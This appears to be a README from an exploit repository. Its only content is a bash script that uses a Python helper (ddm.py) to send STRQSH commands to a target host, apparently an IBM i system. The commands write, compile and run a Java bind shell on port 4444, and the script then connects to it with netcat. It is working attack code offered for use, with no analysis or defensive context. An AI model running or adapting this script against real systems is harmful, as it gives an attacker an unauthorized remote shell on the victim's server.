README.md
Rendering markdown...
#!/bin/bash
echo [+] Sending the payload...
python3 ./ddm.py $1 "STRQSH CMD('echo ''import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.PrintWriter;import java.net.ServerSocket;import java.net.Socket;public class Bindshell { public static void main(String[] args) throws IOException, InterruptedException { ServerSocket server = null; server = new ServerSocket(4444); Socket client = server.accept(); InputStreamReader in = new InputStreamReader( client.getInputStream()); BufferedReader bri = new BufferedReader(in); PrintWriter out = new PrintWriter(client.getOutputStream(), true); String str = \"\"; while (!str.matches(\"exit\")) { str = bri.readLine(); String[] cmd = {\"/bin/sh\",\"-c\",str}; Process p = Runtime.getRuntime().exec(cmd); InputStreamReader i = new InputStreamReader( p.getInputStream(), \"cp500\"); BufferedReader br = new BufferedReader(i); String line; while ((line = br.readLine()) != null) { out.println(line); } } in.close(); out.close(); client.close();}}'' >/tmp/Bindshell.java')"
echo [+] Compiling...
python3 ./ddm.py $1 "STRQSH CMD('javac -encoding IBM-1025 -d /tmp/ /tmp/Bindshell.java')"
sleep 2
echo [+] Bindshell on port 4444
python3 ./ddm.py $1 "STRQSH CMD('java -cp /tmp Bindshell')"
sleep 2
nc -v $1 4444